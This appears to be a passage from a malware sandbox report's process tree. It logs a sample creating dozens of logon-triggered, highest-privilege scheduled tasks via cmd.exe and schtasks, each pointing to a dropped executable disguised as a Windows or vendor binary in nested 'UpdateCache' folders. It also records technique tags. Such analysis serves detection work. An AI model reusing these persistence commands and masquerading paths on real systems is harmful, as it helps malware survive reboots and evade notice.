  "cmd.exe" /c schtasks /create /tn "WinTask_ExpandEnable_5" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1508
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5276
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ExpandEnable_5" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3560
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_7" /tr ""C:\ProgramData\MicrosoftService\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_7" /tr ""C:\ProgramData\MicrosoftService\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:6100
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3288
- C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe
  "C:\Users\Admin\AppData\Roaming\MoveConvertTo\Logs\UpdateCache\UpdateCache\fontview.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:3040
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TpmTool_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TpmTool_1" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3484
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SearchProtocolHost_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4740
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SearchProtocolHost_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\SearchProtocolHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\UpdateCache\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_5" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4984
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4860
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:1680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1320
- C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe
  "C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cmdl32_1" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cmdl32_1" /tr ""C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\UpdateCache\cmdl32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2272
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4928
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rekeywiz_3" /tr ""C:\ProgramData\regid.1991-06.com.microsoft\Logs\UpdateCache\rekeywiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3160
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_5" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1784
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:968
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5732
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_6" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CloudNotifications_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:4924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CloudNotifications_7" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1288
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5080
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_8" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4964
- C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\UpdateCache\cmdl32.exe
  "C:\Users\Admin\AppData\Roaming\FormatResolve\Logs\UpdateCache\UpdateCache\cmdl32.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DpiScaling_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\DpiScaling.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3008
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DpiScaling_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\DpiScaling.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_windowsdesktop-runtime-8.0.15-win-x64_3" /tr ""C:\ProgramData\Package Cache\{5625bb48-295c-4113-bc92-d6a69b19b04c}\UpdateCache\windowsdesktop-runtime-8.0.15-win-x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_windowsdesktop-runtime-8.0.15-win-x64_3" /tr ""C:\ProgramData\Package Cache\{5625bb48-295c-4113-bc92-d6a69b19b04c}\UpdateCache\windowsdesktop-runtime-8.0.15-win-x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1928
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5096
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_4" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TpmTool_5" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5928
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4624
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TpmTool_5" /tr ""C:\Users\Admin\AppData\Roaming\ResizeSplit\Logs\UpdateCache\UpdateCache\TpmTool.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2892
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscript_6" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\UpdateCache\wscript.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4680
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_agentactivationruntimestarter_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_agentactivationruntimestarter_7" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\UpdateCache\agentactivationruntimestarter.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4936
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:244
- C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\msra.exe
  "C:\Users\Admin\AppData\Roaming\Mozilla\Logs\UpdateCache\UpdateCache\msra.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3288
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CloudNotifications_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CloudNotifications_3" /tr ""C:\ProgramData\Packages\Logs\UpdateCache\UpdateCache\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5144
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2352
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ExpandEnable_5" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1368
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ExpandEnable_5" /tr ""C:\Users\Admin\AppData\Roaming\ResetRestore\UpdateCache\UpdateCache\UpdateCache\ExpandEnable.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5008
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2680
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wextract_6" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\UpdateCache\wextract.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2304
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\UpdateCache\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\UpdateCache\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5340
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3944
- C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe
  "C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\UpdateCache\mobsync.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:1428
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_Netplwiz_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_Netplwiz_1" /tr ""C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\Netplwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3648
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:964
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PresentationHost_3" /tr ""C:\ProgramData\MicrosoftService\PresentationHost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4188
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PresentationHost_3" /tr ""C:\ProgramData\MicrosoftService\PresentationHost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_taskkill_4" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_taskkill_4" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\UpdateCache\UpdateCache\taskkill.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_prevhost_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\prevhost.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4680
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6120
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_prevhost_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\prevhost.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3976
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_7" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5276
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5124
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5668
- C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\Netplwiz.exe
  "C:\Users\Admin\AppData\Roaming\Sun\Logs\UpdateCache\UpdateCache\Netplwiz.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:5880
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_UnregisterResize_1" /tr ""C:\Users\Admin\AppData\Roaming\SwitchSuspend\UpdateCache\UnregisterResize.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3372
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1756
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_2" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5984
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1568
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_3" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2952
- C:\Windows\SysWOW64\cmd.exe
